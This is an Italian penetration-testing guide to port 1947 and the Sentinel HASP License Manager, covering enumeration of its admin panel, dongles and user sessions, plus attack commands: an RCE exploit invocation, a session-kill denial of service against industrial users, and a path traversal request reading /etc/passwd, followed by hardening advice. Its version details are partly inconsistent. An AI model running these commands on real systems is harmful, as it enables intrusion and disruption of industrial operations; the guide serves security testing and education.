Porta 1947 HASP: Pentest e Sentinel Admin Control Center

Executive Summary — La porta 1947 ospita il Sentinel HASP License Manager (ex Aladdin HASP), il servizio di gestione licenze hardware e software usato da applicazioni industriali, CAD, ERP e software specialistico. Il License Manager espone un’interfaccia web di amministrazione e un’API per la gestione dei dongle HASP. Trovare la 1947 aperta indica software licenziato ad alto valore — spesso in ambienti industriali (SCADA, engineering) con poca attenzione alla sicurezza IT.

Cos’è la porta 1947 (HASP License Manager)

• La porta 1947 espone un’interfaccia web di amministrazione del HASP License Manager — spesso senza autenticazione
• I dongle HASP gestiscono licenze di software costoso (CAD, SCADA, ERP) — comprometterli può avere impatto operativo diretto
• Vulnerabilità storiche (CVE) su HASP LM includono RCE e path traversal — versioni non aggiornate sono comuni

Porta 1947 HASP è il canale TCP del Sentinel HASP License Manager (Thales/Gemalto, ex SafeNet). La porta 1947 vulnerabilità principali sono l’interfaccia web di admin senza autenticazione, le CVE note (buffer overflow, path traversal, RCE) e l’information disclosure sui dongle e le licenze attive. L’enumerazione porta 1947 rivela il tipo di software licenziato (che indica il tipo di azienda/settore), i dongle connessi e la versione del License Manager. Nel pentest, la 1947 è un indicatore di software specialistico e potenzialmente di ambienti OT/industriali.

1. Anatomia Tecnica della Porta 1947 #

Il Sentinel HASP License Manager ascolta sulla 1947 TCP e fornisce:

• Web Admin Console: interfaccia HTTP per monitorare dongle, licenze e sessioni
• API licensing: comunicazione tra applicazione protetta e dongle HASP
• Network licensing: distribuzione licenze da un server centrale a più client

I dongle HASP sono chiavette USB (o software) che contengono le chiavi di licenza. Il License Manager gestisce l’accesso concorrente.

Misconfig: Web admin sulla 1947 senza autenticazione
Impatto: visibilità su dongle, licenze, sessioni — e potenziale DoS (revoca sessioni)
Come si verifica: curl http://[target]:1947 — se mostra il pannello, è aperto

Misconfig: Versione HASP LM non aggiornata (CVE-2017-11496, CVE-2017-11497)
Impatto: buffer overflow → RCE sul server
Come si verifica: curl http://[target]:1947/_int_/ACC_info.html — versione nel response

2. Enumerazione Base #

Comando 1: Nmap #

nmap -sV -sC -p 1947 10.10.10.70

Output atteso:

PORT     STATE SERVICE VERSION
1947/tcp open  http    Sentinel HASP LM httpd
| http-title: Sentinel Admin Control Center

Comando 2: Web admin panel #

curl -s http://10.10.10.70:1947/_int_/ACC_info.html

Output:

<h2>Sentinel Admin Control Center</h2>
<p>Version: 8.32</p>
<p>Sentinel Keys Connected: 3</p>
<p>Active Sessions: 12</p>

Lettura dell’output: HASP LM versione 8.32 con 3 dongle fisici connessi e 12 sessioni di licenza attive. La versione 8.32 potrebbe essere vulnerabile a CVE-2017-11496 (stack buffer overflow → RCE) se non patchata.

3. Enumerazione Avanzata #

Lista dongle e licenze #

curl -s http://10.10.10.70:1947/_int_/devices.html

Output:

Key ID: 12345678
Type: HASP HL Pro
Features: Siemens TIA Portal v17
Sessions: 5/10 (5 available)

Key ID: 87654321
Type: HASP SL
Features: AutoCAD 2025
Sessions: 2/5 (3 available)

Lettura dell’output: due dongle — uno per Siemens TIA Portal (software di programmazione PLC) e uno per AutoCAD. Siemens TIA Portal indica un ambiente OT/industriale con PLC. AutoCAD indica un dipartimento di engineering. Per l’attacco a reti OT, sapere che c’è TIA Portal conferma la presenza di infrastruttura SCADA.

Sessioni attive #

curl -s http://10.10.10.70:1947/_int_/sessions.html

Output:

Session 1: User CORP\eng_user1, App: TIA Portal, IP: 10.10.10.51
Session 2: User CORP\eng_user2, App: TIA Portal, IP: 10.10.10.52
Session 3: User CORP\cad_user, App: AutoCAD, IP: 10.10.10.60

Lettura dell’output: username AD e IP dei client che usano il software licenziato. Intelligence per il targeting: questi utenti lavorano su sistemi industriali e CAD.

4. Tecniche Offensive #

CVE-2017-11496/11497 — RCE su HASP LM

Contesto: versione HASP LM vulnerabile (pre-7.63).

# Exploit buffer overflow
# PoC: https://github.com/nickhacks/hasp-exploit (esempio)
python3 hasp_exploit.py -t 10.10.10.70 -p 1947

Cosa fai dopo: RCE sul server HASP. Il servizio gira spesso come SYSTEM su Windows — hai accesso completo al server. Da qui: credential dump, lateral movement.

Session termination (DoS)

Contesto: accesso admin panel. Termina sessioni per denial of service.

curl -X POST "http://10.10.10.70:1947/_int_/kill_session.html?session_id=1"

Impatto: l’utente perde la licenza e non può continuare a lavorare con il software. In ambienti industriali, questo ferma la programmazione PLC.

Path traversal (versioni vecchie)

curl "http://10.10.10.70:1947/....//....//....//etc/passwd"

5. Cheat Sheet Finale #

Perché Porta 1947 è rilevante nel 2026 #

HASP protegge software ad alto valore in ambienti industriali, engineering e manufacturing. La sua presenza indica software specialistico (SCADA, CAD, ERP industriale). Le versioni non aggiornate hanno RCE noti. Il pannello admin senza auth espone informazioni su utenti, licenze e infrastruttura.

Hardening #

• Aggiorna HASP LM all’ultima versione
• Limita l’accesso alla 1947 a soli client autorizzati (firewall)
• Non esporre il pannello admin sulla rete — solo localhost se possibile
• Monitora le sessioni per anomalie

Riferimento: Thales Sentinel HASP documentation, CVE-2017-11496, CVE-2017-11497. Uso esclusivo in ambienti autorizzati.

hackita.it/supporto — hackita.it/servizi.